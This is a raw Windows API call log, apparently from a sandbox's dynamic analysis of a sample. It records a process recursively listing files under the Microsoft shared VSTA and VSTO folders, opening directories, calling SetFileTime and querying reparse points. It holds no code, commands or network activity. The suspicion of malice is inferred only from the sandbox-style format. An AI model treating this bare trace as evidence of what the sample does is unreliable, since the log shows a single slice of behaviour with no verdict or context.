ftLastAccessTime.dwLowDateTime=0xd5f9dda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x89b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll", cAlternateFileName="")) returned 1 [0087.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.461] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5eb9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x12fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", cAlternateFileName="")) returned 1 [0087.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.463] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd60f4a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xf7b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", cAlternateFileName="")) returned 1 [0087.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.464] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5eb9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xa1c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", cAlternateFileName="")) returned 1 [0087.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.466] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5edf6c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x147b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", cAlternateFileName="")) returned 1 [0087.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.467] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5edf6c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x147b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", cAlternateFileName="")) returned 0 [0087.467] GetLastError () returned 0x12 [0087.467] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0087.467] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.467] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583906f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60f4a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60f4a00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.467] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5f9dda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x89b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll", cAlternateFileName="")) returned 1 [0087.467] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5eb9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x12fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", cAlternateFileName="")) returned 1 [0087.467] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd60f4a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xf7b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", cAlternateFileName="")) returned 1 [0087.467] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5eb9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xa1c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", cAlternateFileName="")) returned 1 [0087.467] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5edf6c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x147b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", cAlternateFileName="")) returned 1 [0087.468] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5edf6c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x147b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", cAlternateFileName="")) returned 0 [0087.468] GetLastError () returned 0x12 [0087.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305620) returned 1 [0087.468] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.469] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed38dba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x6192a2b0, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xed4e4800, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipelineSegments.store", cAlternateFileName="")) returned 1 [0087.469] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed38dba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x6192a2b0, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xed4e4800, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipelineSegments.store", cAlternateFileName="")) returned 0 [0087.469] GetLastError () returned 0x12 [0087.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1304ff0) returned 1 [0087.469] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13050f8) returned 1 [0087.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1304ee8) returned 1 [0087.470] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.v10.0", cAlternateFileName="")) returned 0 [0087.470] GetLastError () returned 0x12 [0087.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.470] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.471] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d01960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0087.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d01960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.472] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.472] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.472] NtClose (Handle=0x124) returned 0x0 [0087.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.473] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.475] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d01960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.475] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d73d80, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0087.475] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a6ab00, ftCreationTime.dwHighDateTime=0x1cacb2a, ftLastAccessTime.dwLowDateTime=0x5e9eb8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0a6ab00, ftLastWriteTime.dwHighDateTime=0x1cacb2a, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActionsPane3.xsd", cAlternateFileName="")) returned 1 [0087.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.475] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bba08 [0087.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1304ee8 [0087.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.477] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x1e948, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0087.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.478] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="")) returned 1 [0087.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.480] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5150, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0087.480] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5150, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0087.480] GetLastError () returned 0x12 [0087.480] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.480] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.480] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d01960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.480] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d73d80, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0087.480] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d73d80, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.480] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.481] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.481] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.481] NtClose (Handle=0x124) returned 0x0 [0087.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305620 [0087.482] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, 